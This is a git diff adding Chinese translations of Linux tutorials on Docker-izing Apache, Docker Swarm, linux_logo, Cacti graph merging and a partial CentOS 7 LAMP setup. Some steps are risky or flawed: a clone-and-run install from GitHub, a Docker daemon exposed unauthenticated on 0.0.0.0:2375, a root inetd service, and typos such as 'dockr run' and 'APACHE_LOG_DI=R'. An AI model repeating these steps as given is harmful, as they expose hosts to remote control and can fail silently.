dnf update && dnf install docker + +**注意**:在Fedora 22里,你仍然可以使用Yum命令,但是它被DNF取代了,而且在纯净安装时不可用了。 + +#### 检查安装 #### + +我们将要使用的第一个命令是docker info,这会输出很多信息给你: + + docker info + +也可以试着用**docker version**: + + docker version + +#### 以守护进程方式启动Dcoker#### + +你应该启动一个docker实例,然后她会处理我们的请求。 + + docker -d + +现在我们设置 docker 随系统启动,以便我们不需要每次重启都需要运行上述命令。 + + chkconfig docker on + +让我们用Busybox来打印hello world: + + dockr run -t busybox /bin/echo "hello world" + +这个命令里,我们告诉Docker在Busybox镜像的一个实例/容器里执行 /bin/echo "hello world"。Busybox是一个小型的POSIX环境,将许多小工具都结合到了一个单独的可执行程序里。 + +如果Docker不能在你的系统里找到本地的Busybox镜像,她就会自动从Docker Hub里拉取镜像,正如你可以看下如下的快照: + +![Hello world with Busybox](http://blog.linoxide.com/wp-content/uploads/2015/06/docker-hello-world-busybox-complete.png) + +*Hello world with Busybox* + +再次尝试相同的命令,这次由于Docker已经有了本地的Busybox镜像,你将会看到的全部就是echo的输出: + + docker run -t busybox /bin/echo "hello world" + +也可以尝试以下的命令进入到容器环境里去: + + docker run -it busybox /bin/sh + +使用**exit**命令可以离开容器并停止它 + +### 交互式地Docker化Apache ### + +拉取/下载 Fedora 镜像: + + docker pull fedora:22 + +启动一个容器在后台运行: + + docker run -d -t fedora:22 /bin/bash + +列出正在运行地容器及其名字标识,如下 + + docker ps + +![listing with docker ps and attaching with docker attach](http://blog.linoxide.com/wp-content/uploads/2015/06/docker-ps-with-docker-attach-highlight.png) + +*使用docker ps列出,并使用docker attach进入一个容器里* + +angry_noble是docker分配给我们容器的名字,所以我们来连接上去: + + docker attach angry_noble + +注意:每次你启动一个容器,就会被给与一个新的名字,如果你的容器需要一个固定的名字,你应该在 docker run 命令里使用 -name 参数。 + +#### 安装Apache #### + +下面的命令会更新DNF的数据库,下载安装Apache(httpd包)并清理dnf缓存使镜像尽量小 + + dnf -y update && dnf -y install httpd && dnf -y clean all + +**配置Apache** + +我们需要修改httpd.conf的唯一地方就是ServerName,这会使Apache停止抱怨 + + sed -i.orig 's/#ServerName/ServerName/' /etc/httpd/conf/httpd.conf + +**设定环境** + +为了使Apache运行为独立模式,你必须以环境变量的格式提供一些信息,并且你也需要创建这些变量里的目录,所以我们将会用一个小的shell脚本干这个工作,当然也会启动Apache + + vi /etc/httpd/run_apache_foreground + +---------- + + #!/bin/bash + + #设置环境变量 + APACHE_LOG_DI=R"/var/log/httpd" + APACHE_LOCK_DIR="/var/lock/httpd" + APACHE_RUN_USER="apache" + APACHE_RUN_GROUP="apache" + APACHE_PID_FILE="/var/run/httpd/httpd.pid" + APACHE_RUN_DIR="/var/run/httpd" + + #如果需要的话,创建目录 + if ! [ -d /var/run/httpd ]; then mkdir /var/run/httpd;fi + if ! [ -d /var/log/httpd ]; then mkdir /var/log/httpd;fi + if ! [ -d /var/lock/httpd ]; then mkdir /var/lock/httpd;fi + + #运行 Apache + httpd -D FOREGROUND + +**另外地**,你可以粘贴这个片段代码到容器shell里并运行: + + dnf -y install git && git clone https://github.com/gaiada/run-apache-foreground.git && cd run-apach* && ./install && dnf erase git + +上面的内嵌脚本会安装Git,克隆[这个仓库][1],到文件里去运行脚本,并询问你是否卸载Git。 + +**保存你的容器状态** + +你的容器现在准备好运行Apache,是时候保存容器当前的状态为一个镜像,以备你需要的时候使用。 + +为了离开容器环境,你必须顺序按下 **Ctrl+q** 和 **Ctrl+p**,如果你仅仅在shell执行exit,你同时也会停止容器,失去目前为止你做过的所有工作。 + +回到Docker主机,使用 **docker commit** 及容器名和你想要的仓库名字/标签: + + docker commit angry_noble gaiada/apache + +现在,你保存了容器的状态到一个镜像里,可以使用 **docker stop** 停止容器了: + + docker stop angry_noble + +**运行并测试你的镜像** + +最后,从你的新镜像启动一个容器,并且重定向80端口到该容器: + + docker run -p 80:80 -d -t gaiada/apache /etc/httpd/run_apache_foreground + +到目前,你正在你的容器里运行Apache,打开你的浏览器访问该服务,在[http://localhost][2],你将会看到如下Apache默认的页面 + +![Apache default page running from Docker container](http://blog.linoxide.com/wp-content/uploads/2015/06/docker-apache-running.png) + +*在容器里运行的Apache默认页面* + +### 使用Dockerfile Docker化Apache ### + +现在,我们将要去创建一个新的Apache镜像,这次所有步骤会写在一个Dockerfile文件里,文件将会被用于生成该镜像。 + +首先,新建一个目录,在里面放Dockerfile文件,并进入该目录: + + mkdir apachedf; cd apachedf + +然后创建一个名为Dockerfile的文件,添加以下内容: + + FROM fedora:22 + + MAINTAINER Carlos Alberto + LABEL version="0.1" + + RUN dnf -y update && dnf -y install httpd && dnf -y clean all + + RUN [ -d /var/log/httpd ] || mkdir /var/log/httpd + RUN [ -d /var/run/httpd ] || mkdir /var/run/httpd + RUN [ -d /var/lock/httpd ] || mkdir /var/lock/httpd + + RUN sed -i.orig 's/#ServerName/ServerName/' /etc/httpd/conf/httpd.conf + + ENV APACHE_RUN_USER apache + ENV APACHE_RUN_GROUP apache + ENV APACHE_LOG_DIR /var/log/httpd + ENV APACHE_LOCK_DIR /var/lock/httpd + ENV APACHE_RUN_DIR /var/run/httpd + ENV APACHE_PID_FILE /var/run/httpd/httpd.pid + + EXPOSE 80 + + CMD ["/usr/sbin/httpd", "-D", "FOREGROUND"] + +我们一起来看看Dockerfile里面有什么: + +- **FROM** - 这告诉docker,我们将要使用Fedora 22作为基础镜像 +- **MAINTAINER** 和 **LABLE** - 这些命令对镜像没有直接作用,属于标记信息 +- **RUN** - 自动完成我们之前交互式做的工作,安装Apache,新建目录并编辑httpd.conf +- **ENV** - 设置环境变量,现在我们再不需要run_apache_foreground脚本 +- **EXPOSE** - 暴露80端口给外网 +- **CMD** - 设置默认的命令启动httpd服务,这样我们就不需要每次起一个新的容器都重复这个工作 + +**建立该镜像** + +现在,我们将要建立这个镜像,并为其添加tag gaiada/apachedf + + docker build -t gaiada/apachedf:0.1 . + +![docker build complete](http://blog.linoxide.com/wp-content/uploads/2015/06/docker-build-complete.png) + +*docker完成创建* + +使用 **docker images** 列出本地镜像,查看是否存在你新建的镜像: + + docker images + +然后运行新的镜像: + + docker run -t -p 80:80 gaiada/apachedf + +这就是Dockerfile的工作,使用这项功能会使得事情更加容易,快速并且可重复生成。 + +### 发布你的镜像 ### + +直到现在,你仅仅是从Docker Hub拉取了镜像,但是你也可以推送你的镜像,以后需要也可以再次拉取他们。实际上,其他人也可以下载你的镜像,在他们的系统中使用它而不需要改变任何东西。现在我们将要学习如何使我们的镜像对世界上的其他人可用。 + +**创建帐号** + +为了能够在Docker Hub上推送你的镜像,你需要创建一个帐号。访问 [https://hub.docker.com/account/signup/][3],填写下面的表格: + +![Docker Hub signup page](http://blog.linoxide.com/wp-content/uploads/2015/06/docker-hub-signup.png) + +*Docker Hub 注册页面* + +**登录** + +输入下面的命令,接着输入你注册时提供的用户名,密码和邮箱 + + docker login + +第一次登录过后,你的帐号信息会被记录在 **~/.dockercfg** + +**推送** + +推送镜像,使用 **docker push [registry/]your_login/repository_name[:tag]** + + docker push docker.io/gaiada/apachedf + +你可能会看见像这样的输出,在你的控制台上: + +![Docker push Apache image complete](http://blog.linoxide.com/wp-content/uploads/2015/06/docker-pushing-apachedf-complete.png) + +*Docker推送Apache镜像完成* + +### 结论 ### + +现在,你知道如何Docker化Apache,试一试包含其他一些组件,Perl,PHP,proxy,HTTPS,或者任何你需要的东西。我希望你们这些家伙喜欢她,并推送你们自己的镜像到Docker Hub。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-how-to/configure-apache-containers-docker-fedora-22/ + +作者:[Carlos Alberto][a] +译者:[wi-cuckoo](https://github.com/wi-cuckoo) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/carlosal/ +[1]:https://github.com/gaiada/run-apache-foreground +[2]:http://localhost/ +[3]:https://hub.docker.com/account/signup/ + diff --git a/published/201507/20150612 How to Configure Swarm Native Clustering for Docker.md b/published/201507/20150612 How to Configure Swarm Native Clustering for Docker.md new file mode 100644 index 0000000000..66ff94367e --- /dev/null +++ b/published/201507/20150612 How to Configure Swarm Native Clustering for Docker.md @@ -0,0 +1,98 @@ +如何配置一个 Docker Swarm 原生集群 +================================================================================ + +嗨,大家好。今天我们来学一学Swarm相关的内容吧,我们将学习通过Swarm来创建Docker原生集群。[Docker Swarm][1]是用于Docker的原生集群项目,它可以将一个Docker主机池转换成单个的虚拟主机。Swarm工作于标准的Docker API,所以任何可以和Docker守护进程通信的工具都可以使用Swarm来透明地伸缩到多个主机上。就像其它Docker项目一样,Swarm遵循“内置电池,并可拆卸”的原则(LCTT 译注:batteries included,内置电池原来是 Python 圈里面对 Python 的一种赞誉,指自给自足,无需外求的丰富环境;but removable,并可拆卸应该指的是非强制耦合)。它附带有一个开箱即用的简单的后端调度程序,而且作为初始开发套件,也为其开发了一个可插拔不同后端的API。其目标在于为一些简单的使用情况提供一个平滑的、开箱即用的体验,并且它允许切换为更强大的后端,如Mesos,以用于大规模生产环境部署。Swarm配置和使用极其简单。 + +这里给大家提供Swarm 0.2开箱的即用一些特性。 + +1. Swarm 0.2.0大约85%与Docker引擎兼容。 +2. 它支持资源管理。 +3. 它具有一些带有限制和类同功能的高级调度特性。 +4. 它支持多个发现后端(hubs,consul,etcd,zookeeper) +5. 它使用TLS加密方法进行安全通信和验证。 + +那么,我们来看一看Swarm的一些相当简单而简用的使用步骤吧。 + +### 1. 运行Swarm的先决条件 ### + +我们必须在所有节点安装Docker 1.4.0或更高版本。虽然各个节点的IP地址不需要要公共地址,但是Swarm管理器必须可以通过网络访问各个节点。 + +**注意**:Swarm当前还处于beta版本,因此功能特性等还有可能发生改变,我们不推荐你在生产环境中使用。 + +### 2. 创建Swarm集群 ### + +现在,我们将通过运行下面的命令来创建Swarm集群。各个节点都将运行一个swarm节点代理,该代理会注册、监控相关的Docker守护进程,并更新发现后端获取的节点状态。下面的命令会返回一个唯一的集群ID标记,在启动节点上的Swarm代理时会用到它。 + +在集群管理器中: + + # docker run swarm create + +![Creating Swarm Cluster](http://blog.linoxide.com/wp-content/uploads/2015/05/creating-swarm-cluster.png) + +### 3. 启动各个节点上的Docker守护进程 ### + +我们需要登录进我们将用来创建集群的每个节点,并在其上使用-H标记启动Docker守护进程。它会保证Swarm管理器能够通过TCP访问到各个节点上的Docker远程API。要启动Docker守护进程,我们需要在各个节点内部运行以下命令。 + + # docker -H tcp://0.0.0.0:2375 -d + +![Starting Docker Daemon](http://blog.linoxide.com/wp-content/uploads/2015/05/starting-docker-daemon.png) + +### 4. 添加节点 ### + +在启用Docker守护进程后,我们需要添加Swarm节点到发现服务,我们必须确保节点IP可从Swarm管理器访问到。要完成该操作,我们需要运行以下命令。 + + # docker run -d swarm join --addr=:2375 token:// + +![Adding Nodes to Cluster](http://blog.linoxide.com/wp-content/uploads/2015/05/adding-nodes-to-cluster.png) + +**注意**:我们需要用步骤2中获取到的节点IP地址和集群ID替换这里的。 + +### 5. 开启Swarm管理器 ### + +现在,由于我们已经获得了连接到集群的节点,我们将启动swarm管理器。我们需要在节点中运行以下命令。 + + # docker run -d -p :2375 swarm manage token:// + +![Starting Swarm Manager](http://blog.linoxide.com/wp-content/uploads/2015/05/starting-swarm-manager.png) + +### 6. 检查配置 ### + +一旦管理运行起来后,我们可以通过运行以下命令来检查配置。 + + # docker -H tcp:// info + +![Accessing Swarm Clusters](http://blog.linoxide.com/wp-content/uploads/2015/05/accessing-swarm-cluster.png) + +**注意**:我们需要替换为运行swarm管理器的主机的IP地址和端口。 + +### 7. 使用docker CLI来访问节点 ### + +在一切都像上面说得那样完美地完成后,这一部分是Docker Swarm最为重要的部分。我们可以使用Docker CLI来访问节点,并在节点上运行容器。 + + # docker -H tcp:// info + # docker -H tcp:// run ... + +### 8. 监听集群中的节点 ### + +我们可以使用swarm list命令来获取所有运行中节点的列表。 + + # docker run --rm swarm list token:// + +![Listing Swarm Nodes](http://blog.linoxide.com/wp-content/uploads/2015/05/listing-swarm-nodes.png) + +### 尾声 ### + +Swarm真的是一个有着相当不错的功能的docker,它可以用于创建和管理集群。它相当易于配置和使用,当我们在它上面使用限制器和类同器时它更为出色。高级调度程序是一个相当不错的特性,它可以应用过滤器来通过端口、标签、健康状况来排除节点,并且它使用策略来挑选最佳节点。那么,如果你有任何问题、评论、反馈,请在下面的评论框中写出来吧,好让我们知道哪些材料需要补充或改进。谢谢大家了!尽情享受吧 :-) + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-how-to/configure-swarm-clustering-docker/ + +作者:[Arun Pyasi][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunp/ +[1]:https://docs.docker.com/swarm/ diff --git a/published/201507/20150612 Linux_Logo--A Command Line Tool to Print Color ANSI Logos of Linux Distributions.md b/published/201507/20150612 Linux_Logo--A Command Line Tool to Print Color ANSI Logos of Linux Distributions.md new file mode 100644 index 0000000000..8c17cc4f64 --- /dev/null +++ b/published/201507/20150612 Linux_Logo--A Command Line Tool to Print Color ANSI Logos of Linux Distributions.md @@ -0,0 +1,183 @@ +Linux_Logo – 输出彩色 ANSI Linux 发行版徽标的命令行工具 +================================================================================ +linuxlogo(或叫 linux_logo)是一款在Linux命令行下用彩色 ANSI 代码生成附带有系统信息的发行版徽标的工具。 + +![Linux_Logo – 输出彩色 ANSI Linux 发行版徽标](http://www.tecmint.com/wp-content/uploads/2015/06/Linux_Logo.png) + +*Linux_Logo – 输出彩色 ANSI Linux 发行版徽标* + +这个小工具可以从 /proc 文件系统中获取系统信息并可以显示包括主机上安装的发行版在内的很多发行版的徽标。 + +与徽标一同显示的系统信息包括 : Linux 内核版本,最近一次编译Linux内核的时间,处理器/核心数量,速度,制造商,以及哪一代处理器。它还能显示总共的物理内存大小。 + +无独有偶,screenfetch是一个拥有类似功能的工具,它也能显示发行版徽标,同时还提供更加详细美观的系统信息。我们之前已经介绍过这个工具,你可以参考一下链接: + +- [screenFetch: 命令行信息截图工具][1] + +linux\_logo 和 Screenfetch 并完全一样。尽管 screenfetch 的输出较为整洁并提供更多细节, 但 linux\_logo 则提供了更多的彩色 ANSI 图标, 并且提供了格式化输出的选项。 + +linux\_logo 主要使用C语言编写并将 linux 徽标呈现在 X 窗口系统中因此需要安装图形界面 X11 或 X 系统(LCTT 译注:此处应是错误的。按说不需要任何图形界面支持,并且译者从其官方站 http://www.deater.net/weave/vmwprod/linux_logo 也没找到任何相关 X11的信息)。这个软件使用GNU 2.0协议。 + +本文中,我们将使用以下环境测试 linux_logo 工具。 + + 操作系统 : Debian Jessie + 处理器 : i3 / x86_64 + +### 在 Linux 中安装 Linux Logo工具 ### + +**1. linuxlogo软件包 ( 5.11 稳定版) 可通过如下方式使用 apt, yum 或 dnf 在所有发行版中使用默认的软件仓库进行安装** + + # apt-get install linux_logo [用于基于 Apt 的系统] (译者注:Ubuntu中,该软件包名为linuxlogo) + # yum install linux_logo [用于基于 Yum 的系统] + # dnf install linux_logo [用于基于 Dnf 的系统] + 或 + # dnf install linux_logo.x86_64 [用于 64 位系统] + +**2. 装好linuxlogo软件包之后,你可以使用命令 `linuxlogo` 来获取你当前使用的发行版的默认徽标..** + + # linux_logo + 或 + # linuxlogo + +![获取默认系统徽标](http://www.tecmint.com/wp-content/uploads/2015/06/Get-Default-OS-Logo.png) + +*获取默认系统徽标* + +**3. 使用 `[-a]` 选项可以输出没有颜色的徽标。当在黑白终端里使用 linux_logo 时,这个选项会很有用。** + + # linux_logo -a + +![黑白 Linux 徽标](http://www.tecmint.com/wp-content/uploads/2015/06/Black-and-White-Linux-Logo.png) + +*黑白 Linux 徽标* + +**4. 使用 `[-l]` 选项可以仅输出徽标而不包含系统信息。** + + # linux_logo -l + +![输出发行版徽标](http://www.tecmint.com/wp-content/uploads/2015/06/Print-Distribution-Logo.png) + +*输出发行版徽标* + +**5. `[-u]` 选项可以显示系统运行时间。** + + # linux_logo -u + +![输出系统运行时间](http://www.tecmint.com/wp-content/uploads/2015/06/Print-System-Uptime.png) + +*输出系统运行时间* + +**6. 如果你对系统平均负载感兴趣,可以使用 `[-y]` 选项。你可以同时使用多个选项。** + + # linux_logo -y + +![输出系统平均负载](http://www.tecmint.com/wp-content/uploads/2015/06/Print-System-Load-Average.png) + +*输出系统平均负载* + +如需查看更多选项并获取相关帮助,你可以使用如下命令。 + + # linux_logo -h + +![Linuxlogo 选项及帮助](http://www.tecmint.com/wp-content/uploads/2015/06/linuxlogo-options.png) + +*Linuxlogo选项及帮助* + +**7. 此工具内置了很多不同发行版的徽标。你可以使用 `[-L list]` 选项查看在这些徽标的列表。** + + # linux_logo -L list + +![Linux 徽标列表](http://www.tecmint.com/wp-content/uploads/2015/06/List-of-Linux-Logos.png) + +*Linux 徽标列表* + +如果你想输出这个列表中的任意徽标,可以使用 `-L NUM` 或 `-L NAME` 来显示想要选中的图标。 + +- -L NUM – 会输出列表中序号为 NUM 的图标 (不推荐). +- -L NAME – 会输出列表中名为 NAME 的图标。 + +例如,如果想要显示 AIX 的徽标,你可以使用如下命令 + + # linux_logo -L 1 + 或 + # linux_logo -L aix + +![输出 AIX 图标](http://www.tecmint.com/wp-content/uploads/2015/06/Print-AIX-Logo.png) + +*输出 AIX 图标* + +**注**: 命令中的使用 `-L 1` 是因为 AIX 徽标在列表中的编号是1,而使用 `-L aix` 则是因为 AIX 徽标在列表中的名称为 aix + +同样的,你还可以使用这些选项输出任何图标,以下是一些例子.. + + # linux_logo -L 27 + # linux_logo -L 21 + +![各种 Linux 徽标](http://www.tecmint.com/wp-content/uploads/2015/06/Various-Linux-Logos.png) + +*各种 Linux 徽标* + +你可以通过徽标对应的编号或名字使用任意徽标。 + +### 一些使用 Linux_logo 的建议和提示### + +**8. 你可以在登录界面输出你的 Linux 发行版徽标。要输出默认徽标,你可以在 ` ~/.bashrc` 文件的最后添加以下内容。** + + if [ -f /usr/bin/linux_logo ]; then linux_logo; fi + +**注**: 如没有` ~/.bashrc` 文件,你需要在当前用户的 home 目录下新建一个。 + +**9. 在添加以上内容后,你只需要注销并重新登录即可看到你的发行版的默认徽标** + +![Print Logo on User Login](http://www.tecmint.com/wp-content/uploads/2015/06/Print-Logo-on-Login.png) + +*在用户登录时输出徽标* + +其实你也可以在登录后输出任意图标,只需加入以下内容: + + if [ -f /usr/bin/linux_logo ]; then linux_logo -L num; fi + +**重要**: 不要忘了将 num 替换成你想使用的图标。 + +**10. 你也能直接指定徽标所在的位置来显示你自己的徽标。** + + # linux_logo -D /path/to/ASCII/logo + +**11. 在远程登录时输出图标。** + + # /usr/local/bin/linux_logo > /etc/issue.net + +如果你想使用 ASCII 徽标而不是含有颜色的 ANSI 徽标,则使用如下命令 + + # /usr/local/bin/linux_logo -a > /etc/issue.net + +**12. 创建一个 Linux 上的端口 - 用于回应连接的端口。要创建 Linux 端口, 则需在 /etc/services 文件中加入以下内容** + + penguin 4444/tcp penguin + +这里的 `4444` 是一个未被任何其他资源使用的空闲端口。你也可以使用其他端口。你还需要在 /etc/inetd.conf中加入以下内容: + + penguin stream tcp nowait root /usr/local/bin/linux_logo + +并使用以下命令重启 inetd 服务 + + # killall -HUP inetd + +(LCTT 译注:然后你就可以远程或本地连接到这个端口,并显示这个徽标了。) + +linux_logo 还可以用做启动脚本来愚弄攻击者或对你朋友使用恶作剧。这是一个我经常在我的脚本中用来获取不同发行版输出的好工具。 + +试过一次后,你就不会忘记的。让我们知道你对这个工具的想法及它对你的作用吧。 不要忘记给评论、点赞或分享! + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/linux_logo-tool-to-print-color-ansi-logos-of-linux/ + +作者:[Avishek Kumar][a] +译者:[KevinSJ](https://github.com/KevinSJ) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ +[1]:https://linux.cn/article-1947-1.html diff --git a/published/201507/20150615 How to combine two graphs on Cacti.md b/published/201507/20150615 How to combine two graphs on Cacti.md new file mode 100644 index 0000000000..78e52a0639 --- /dev/null +++ b/published/201507/20150615 How to combine two graphs on Cacti.md @@ -0,0 +1,91 @@ +如何在 Cacti 中合并两幅图片 +================================================================================ +[Cacti][1] 是一个很棒的开源网络监视系统,它广泛使用于图形化地展示网络元素,例如带宽、存储、处理器和内存使用。使用它的基于Web 的界面,你可以轻松地创建和组织各种图表。然而,它默认并没有提供一些高级功能,例如合并图片、使用多个来源创建聚合图形、迁移 Cacti 到另一台服务器。使用 Cacti 的这些功能你还需要一些经验。在该教程中,我们会看到如何在将两幅 Cacti 图片合并为一幅。 + +看看这个例子。在过去的 6 个月中,客户端 A 连接到了交换机 A 的端口 5。端口 5 发生了错误,因此客户端迁移到了端口 6。由于 Cacti 为每个接口/元素使用不同的图,客户端的带宽历史会分成端口 5 和端口 6。结果是对于一个客户端我们有两幅图片 - 一幅是 6 个月的旧数据,另一幅保存了后续的数据。 + +在这种情况下,我们实际上可以合并两幅图片将旧数据加到新的图中,使得用一个单独的图为一个用户保存历史的和新数据。本教程将会解释如何做到这一点。 + +Cacti 将每幅图片的数据保存在它自己的 RRD(round robin database,循环数据库)文件中。当请求一幅图片时,根据保存在对应 RRD 文件中的值生成图。在 Ubuntu/Debian 系统中,RRD 文件保存在 `/var/lib/cacti/rra`,在 CentOS/RHEL 系统中则是 `/var/www/cacti/rra`。 + +合并图片背后的思想是更改这些 RRD 文件使得旧 RRD 文件中的值能追加到新的 RRD 文件中。 + +### 情景 ### + +一个客户端的服务在 eth0 上运行了超过一年。由于硬件损坏,客户端迁移到了另一台服务器的 eth1 接口。我们想展示新接口的带宽,同时保留超过一年的历史数据。该客户端希望只在一幅图中显示。 + +### 确定图的 RRD 文件 ### + +图合并的首个步骤是确定与图相关联的 RRD 文件。我们可以通过以调试模式打开图检查文件。要做到这点,在 Cacti 的菜单中: 控制台 > 管理图 > 选择图 > 打开图调试模式。 + +#### 旧图: #### + +![](https://farm4.staticflickr.com/3853/18795518096_f50a78d082_c.jpg) + +#### 新图: #### + +![](https://farm4.staticflickr.com/3674/18634036918_5c4118c4b9_c.jpg) + +从样例输出(基于 Debian 系统)中,我们可以确定两幅图片的 RRD 文件: + +- **旧图**: /var/lib/cacti/rra/old_graph_traffic_in_8.rrd +- **新图**: /var/lib/cacti/rra/new_graph_traffic_in_10.rrd + +### 准备脚本 ### + +我们会用一个 [RRD 剪接脚本][2] 来合并两个 RRD 文件。下载该 PHP 脚本,并安装到 /var/lib/cacti/rra/rrdsplice.php (Debian/Ubuntu 系统) 或 /var/www/cacti/rra/rrdsplice.php (CentOS/RHEL 系统)。 + +下一步,确认 Apache 用户拥有该文件。 + +在 Debian 或 Ubuntu 系统中,运行下面的命令: + + # chown www-data:www-data rrdsplice.php + +并更新 rrdsplice.php。查找下面的行: + + chown($finrrd, "apache"); + +用下面的语句替换: + + chown($finrrd, "www-data"); + +在 CentOS 或 RHEL 系统中,运行下面的命令即可: + + # chown apache:apache rrdsplice.php + +### 合并两幅图 ### + +通过不带任何参数运行该脚本可以获得脚本的使用语法。 + + # cd /path/to/rrdsplice.php + # php rrdsplice.php + +---------- + + USAGE: rrdsplice.php --oldrrd=file --newrrd=file --finrrd=file + +现在我们准备好合并两个 RRD 文件了。只需要指定旧 RRD 文件和新 RRD 文件的名称。我们会将合并后的结果重写到新 RRD 文件中。 + + # php rrdsplice.php --oldrrd=old_graph_traffic_in_8.rrd --newrrd=new_graph_traffic_in_10.rrd --finrrd=new_graph_traffic_in_10.rrd + +现在旧 RRD 文件中的数据已经追加到了新 RRD 文件中。Cacti 会将任何新数据写到新 RRD 文件中。如果我们点击图,我们可以发现也已经添加了旧图的周、月、年记录。下面图表中的第二幅图显示了旧图的周记录。 + +![](https://farm6.staticflickr.com/5493/18821787015_6730164068_b.jpg) + +总之,该教程显示了如何简单地将两幅 Cacti 图片合并为一幅。当服务迁移到另一个设备/接口,我们希望只处理一幅图片而不是两幅时,这个小技巧非常有用。该脚本非常方便,因为它可以不管源设备是不是相同都可以合并图片,例如 Cisco 1800 路由器和 Cisco 2960 交换机。 + +希望这些能对你有所帮助。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/combine-two-graphs-cacti.html + +作者:[Sarmed Rahman][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/sarmed +[1]:https://linux.cn/article-5746-1.html +[2]:http://svn.cacti.net/viewvc/developers/thewitness/rrdsplice/rrdsplice.php \ No newline at end of file diff --git a/published/201507/20150616 Installing LAMP Linux, Apache, MariaDB, PHP or PhpMyAdmin in RHEL or CentOS 7.0.md b/published/201507/20150616 Installing LAMP Linux, Apache, MariaDB, PHP or PhpMyAdmin in RHEL or CentOS 7.0.md new file mode 100644 index 0000000000..67727abe22 --- /dev/null +++ b/published/201507/20150616 Installing LAMP Linux, Apache, MariaDB, PHP or PhpMyAdmin in RHEL or CentOS 7.0.md @@ -0,0 +1,240 @@ +在 RHEL/CentOS 7.0 中安装 LAMP(Linux、 Apache、 MariaDB、 PHP/PhpMyAdmin) +================================================================================ + +跳过 LAMP 的介绍,因为我认为你们大多数已经知道了。这个教程会集中在如何在升级到 Apache 2.4 的 Red Hat Enterprise Linux 7.0 和 CentOS 7.0 中安装和配置 LAMP:Linux、Apache、 MariaDB、 PHP/PhpMyAdmin。 + +![Install LAMP in CentOS 7](http://www.tecmint.com/wp-content/uploads/2014/07/Install-LAMP-in-CentOS-7.jpg) + +*在 RHEL/CentOS 7.0 中安装 LAMP* + +#### 前置要求 #### + +根据使用的发行版是 RHEL 还是 CentOS 7.0,按照下面的链接来进行最小化的系统安装,网络使用静态 IP。 + +**对于 RHEL 7.0** + +- [RHEL 7.0 安装过程][1] +- [在 RHEL 7.0 中注册和启用订阅仓库][2] + +**对于 CentOS 7.0** + +- [CentOS 7.0 安装过程][3] + +### 第一步:使用基本配置安装apache ### + +1、在完成最小化系统安装,并[在 RHEL/CentOS 7.0 上配置静态 IP][4] 后,就可以使用下面的命令从官方仓库安装最新的 Apache 2.4 httpd 服务了。 + + # yum install httpd + +![Install Apache in CentOS 7](http://www.tecmint.com/wp-content/uploads/2014/07/Install-Apache-in-CentOS-7.png) + +*安装 apache 服务* + +2、安装完成后,使用下面的命令来管理apache守护进程,因为 RHEL 和 CentOS 7.0 都将 init 脚本从 SysV 升级到了systemd,所以同时你还可以使用 SysV 脚本和 Apache 脚本来管理服务。 + + # systemctl status|start|stop|restart|reload httpd + + 或者 + + # service httpd status|start|stop|restart|reload + + 或者 + + # apachectl configtest| graceful + +![Start Apache in CentOS 7](http://www.tecmint.com/wp-content/uploads/2014/07/Start-Apache-in-CentOS-7.png) + +*启动apache服务* + +3、在使用 systemd 初始化脚本来启动 apache 服务后,要用 `firewall-cmd` 打开 RHEL/CentOS 7.0 防火墙规则, 这是通过 [firewalld][7] 守护进程管理 iptables 的默认命令。** + + # firewall-cmd --add-service=http + +**注意**:上面的命令会在系统重启或者 firewalld 服务重启后失效,因为它是即时的规则,它不会永久生效。要使 iptables 规则在 fiewalld 中持久化,使用 `--permanent` 选项并重启 firewalld 服务来生效。(LCTT 译注:也可以不重启 firewalld 服务,而是再执行一遍不带 ` --permanent` 选项的命令。) + + # firewall-cmd --permanent --add-service=http + # systemctl restart firewalld + +![Enable Firewall in CentOS 7](http://www.tecmint.com/wp-content/uploads/2014/07/Enable-Firewall-in-CentOS-7.png) + +*在 CentOS 7 中启用防火墙* + +下面是 firewalld 其他的重要选项: + + # firewall-cmd --state + # firewall-cmd --list-all + # firewall-cmd --list-interfaces + # firewall-cmd --get-service + # firewall-cmd --query-service service_name + # firewall-cmd --add-port=8080/tcp + +4、要验证 apache 的功能,打开一个远程浏览器并使用 http 协议访问你服务器的 IP 地址(http://server_IP), 应该会显示下图中的默认页面。 + +![Apache Default Page](http://www.tecmint.com/wp-content/uploads/2014/07/Apache-Default-Page.png) + +*Apache 默认页* + +5、现在 apache 的根地址在 `/var/www/html`,该目录中没有提供任何索引文件。如果你想要看见根目录下的文件夹列表,打开 apache 欢迎配置文件并设置 `` 下 `Indexes` 前的状态从`-`到`+`,下面的截图就是一个例子。 + + # nano /etc/httpd/conf.d/welcome.conf + +![Apache Directory Listing](http://www.tecmint.com/wp-content/uploads/2014/07/Apache-Directory-Listing.png) + +*Apache 目录列出* + +6、关闭文件,重启 apache 服务来使设置生效,重载页面来看最终效果。 + + # systemctl restart httpd + +![Apache Index File](http://www.tecmint.com/wp-content/uploads/2014/07/Apache-Index-File.png) + +*Apache 索引文件* + +### 第二步:为 Apache 安装 php5 支持 ### + +7、在为 apache 安装 php 支持之前,使用下面的命令的得到所有可用的php模块和扩展。 + + # yum search php + +![Install PHP in CentOS 7](http://www.tecmint.com/wp-content/uploads/2014/07/Install-PHP-in-CentOS-7.png) + +在 CentOS 7 上安装 PHP* + +8、根据你所要使用的应用类型,安装上述列表中所需的 PHP 模块。对于 PHP 中的基本的 MariaDB 支持和 PhpMyAdmin,你需要安装如下模块。 + + # yum install php php-mysql php-pdo php-gd php-mbstring + +![Install PHP Modules in CentOS 7](http://www.tecmint.com/wp-content/uploads/2014/07/Install-PHP-Modules-in-CentOS-7.png) + +*安装 PHP 模块* + 